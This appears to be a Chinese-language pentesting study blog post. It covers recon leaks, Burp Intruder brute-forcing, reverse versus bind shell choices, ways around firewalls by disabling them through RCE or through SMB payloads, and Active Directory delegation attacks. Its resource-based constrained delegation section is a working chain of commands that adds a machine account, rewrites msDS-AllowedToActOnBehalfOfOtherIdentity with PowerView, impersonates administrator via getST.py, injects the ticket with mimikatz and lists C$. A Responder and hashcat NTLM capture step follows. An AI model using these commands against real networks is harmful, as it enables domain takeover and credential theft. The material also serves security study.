1. 信息搜集
开发注释未及时删除
js前台拦截 === 无效操作
没思路的时候抓个包看看,可能会有意外收获
总有人把后台地址写入robots,帮黑阔大佬们引路
phps源码泄露有时候能帮上忙
某人解压源码到当前目录,测试正常,收工?等着被爆破工具得到源码zip吧
svn或git版本控制很重要,但不要部署到生产环境更重要
发现数据库配置错了?赶紧在生产环境vim改下,不好,死机了,此时就会出现.swp临时文件可能会被dirsearch爆破出来
cookie 只是一块饼干,不能存放任何隐私数据
有时候网站上的公开信息,就是管理员常用密码
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
密钥什么的,就不要放在前端了
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了
备份的sql文件会泄露敏感信息,最好移动走不要放在可被前端访问到的路径,会被爆破出来
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人,可能直接就能在编辑器中通过界面读取到服务器的目录内容
2. 爆破枚举
认证爆破
对于基于 Authorization: Basic 的认证爆破,假设我们在知道用户名的情况下,例如抓包格式为admin:123456则前面需要预先base64固定下来成为YWRtaW46后面则是密码部分配置为Add$参数点,右侧payloads配置为custom iterator模式,payload processing过程则配置为Base64-encode编码,同时该模式下的编码会出现特殊符号,结尾的payload encoding需要取消勾选
上述配置完即可进行attack测试,在爆破过程中可以对status code排序优先显示差异的,不出意外显示非401状态码那么大概率是有结果 了,再看这个Authorization头的内容是什么进行解码即是正确的值


目录爆破
某些场景存在多级目录嵌套结构,例如 /0/1/ 到 /99/99/,甚至更复杂的层级枚举,此时可以使用 Burp Suite Intruder 官方文档 中的 Cluster Bomb 模式进行组合爆破;该模式会对多个参数位置进行联动遍历,例如当前路径完成 /99/1 后,下一个请求会自动进入 /0/2,类似多位计数器递增,从而高效完成大规模层级目录枚举
每一个参数点都需要在右侧 Payload Position 中单独配置对应的 Payload,例如第一级目录对应第一组 Payload、第二级目录对应第二组 Payload
观察到结果排序响应码在 GET /72/20/ HTTP/1.1 出现非302,正确值爆出来了


3. 内网攻防
攻击手段
当 SMB/WMI/WinRM/DCOM 等传统横向方式受阻时,攻击者可能转向 Kerberos 票据攻击。如果某台机器曾经有高权限域用户登录,该用户的 Kerberos 票据可能残留在 LSASS 的缓存中。攻击者获取这些票据后,可以在自己的会话中注入票据使用该身份访问域资源,从而实现身份冒充。
反向reverse与正向bind
什么时候用正向,什么时候用反向?攻击 > A > B 如果到A是没有任何防火墙的,这个时候是可以用正反向都可以用的,推荐用反向,生成的木马很小,它不包含攻击部分,只是一个下载器,真正运行的时候才去攻击机下载木马,然后反向连接到攻击机器。
正向则不行,A到B 中间是有防火墙的,B是严格控制了出网,这个时候B是连接不了攻击机的,你怎么能用反向呢?根本无法通讯,这个时候只能生成完整木马,体积大但它完整包含了木马逻辑,直接在B运行它就会例如bind绑定8888端口,等待A去正向link或者connect连接它,这样攻击机通过A>B 就能控制。
能出网连攻击机何必用正向绑定呢?直接反向不就好了体积还非常小只是一个下载器运行的时候再去下载payload,但是不出网的情况下你怎么能用反向呢?根本无法通信攻击机,只能用正向绑定端口先通过控制的机器当跳板然后主动去连接它来完成控制
还有一种情况是A出网也没有防火墙B不出网,这个时候可以在A创建一个监听器listen 绑定6666端口,然后生成木马放到B运行,B运行就会去主动去连接A是属于反向了,然后A就会下载payload返回给B,也是可以实现反向连接的,这个情况就是木马小也能通过跳板A实现出网下载
但是还有一种情况是A默认开启了入站与出站的防火墙规则,这个时候是没法实现监听器listen给B用的,因为B在连接A的时候会触发A的防火墙入站规则会被拦截,这个时候就会失败一直处于SYN_SENT
A与B都开启了防火墙该如何上线呢?一共有三种,通常能上线的前提都是已经拿下机器了,尝试通过RCE命令执行关闭防火墙,然后就能打破双向连接限制,不然A反向成功,B反向连接A会触发A的防火墙导致上线失败,这个时候就可以通过RCE命令执行先关闭A的防火墙,这样B反向连接A就不受防火墙限制,也可以B执行RCE关闭防火墙,然后B执行正向连接木马监听8888然后A去link 或 connct to B ,这样A连接B就不会受到B的防火墙限制,这就是第一种方式RCE命令执行关闭防火墙
第二种方式就是利用防火墙默认规则钻空子,通常启用默认的入站与出站的防火墙规则,在企业中基本都是会有打印机的,不然如果防火墙拦截SMB入站协议,那么打印机是正常的但死活连不上电脑,他通常是会允许入站SMB协议的。这样即使RCE关闭防火墙失败,那么也可以尝试利用正向连接bind_smb协议木马,这样A link 或者 connect to B (SMB木马) 来成功上线
拿下机器并非都可以执行RCE命令关闭防火墙的,如果机器是域控这是无法关闭的,需要提升为域控管理员权限,但是话说回来你都已经取得域控管理员权限了那还有必要关闭防火墙吗?都能控制所有机器了,所以这个需要视情况而定如果的确是处于域控只能尝试SMB或隧道技术了
横向移动
AD 域账号最简单分两类一类是用户账号另一类是计算机账号(每一个计算机加入域都有一个计算名账号)
非约束委派
服务器开启非约束委派后,任何用户访问这台服务器时,服务器会缓存用户的 TGT。服务器可以拿着缓存的 TGT,去向 KDC 请求访问域内任意服务。历史细节:Windows Server 2003 时代,微软仅允许 Computer 对象设置非约束委派,User、MSA、gMSA 对象属性直接不支持。安全风险极高(经典黄金票据、TGT 窃取攻击面)。
例如将webserver这个计算机账号配置为非约束性委派一旦dc域控机器连接它net use //webserver 则webserver上出现dc域控TGT窃取攻击面
约束委派
资源约束委派
资源约束委派利用分类:
1、通过管理主机加入域的用户拿下主机
2、已知Acount Operators组用户拿下主机
3、结合HTLM Relay攻击拿下主机(CVE-2019-1040)
第一种简单说就是机器在加入域的时候,出现了起码2个机器使用同一个域账号加入,例如webserver与sqlserver两个机器使用webadmin这个域账号加入域,甚至是若干台机器使用同一个域账号加入这个条件就满足了
例如在webserver机器使用webadmin这个域账号通过命令创建一个service1的机器账号
添加一个机器账户,用于申请票据
# 使用addcpmputer创建机器账户
python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11
# 使用bloodyAD工具创建机器账户
python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'
# 使用PowerMad工具创建机器账户
powershell Set-ExecutionPolicy Bypass -Scope Process
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)然后通过修改sqlserver的属性将资源委派绑定到service1,然后开隧道在window通过脚本向dc域控利用这个申请出来的service1的账号密码申请一张访问sqlserver机器的凭据,然后导入到webadmin机器内存中 mimikatz kerberos::ptc administrator.ccache 就能正常向sqlserver机器操作了, 连接利用票据 shell dir \\data.xiaodi.local\c$
利用新增机器账户修改委派属性满足申请访问目标票款,修改目标主机的资源委派属性(data)
msds-allowedtoactonbehalfofotheridentity
获取新增账户的objectsid
powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid
修改datax主机委派属性:
powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1124)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer datax| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证和清除委派属性:
powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity
powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
利用修改后的属性申请目标请求票据后导入利用,利用serviceA申请访问data主机cifs服务票据:
python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/datax.xiaodi.local -impersonate administrator
导入票据到内存:
mimikatz kerberos::ptc administrator.ccache
连接利用票据:
shell dir \\data.xiaodi.local\c$
第二种已知Acount Operators组用户拿下主机,它更像一个“权限极大的账号管理员” 而非等同于域管理员。利用思路是 Acount Operators 组成员可修改域内任意主机的 msDS-AllowedToActOnBehalfOfOtherIdentity属性。(除DC)
判断是否有利用条件查询Acount Operators组成员,后续利用同上
shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member
第三种CVE结合HTLMRelay
方式一是在kali执行 responder -I eth0 -wd 监听起来,诱使目标对方或者使用漏洞强制让对方访问过来他会携带账号与密码的ntlm-hash 进行尝试利用hashcat暴力破解明文
方式二是dir \\172.31.0.222\c$ 填入对方的主机,如果当前本地用户是administrator并且与对方的本地administrator密码一致则可以直接访问,如果当前是域账号则需要提权到SYSTEM再进程注入降权为administrator尝试访问对方,如果还不行则只能钓鱼诱骗对方访问进行上面方式一
评论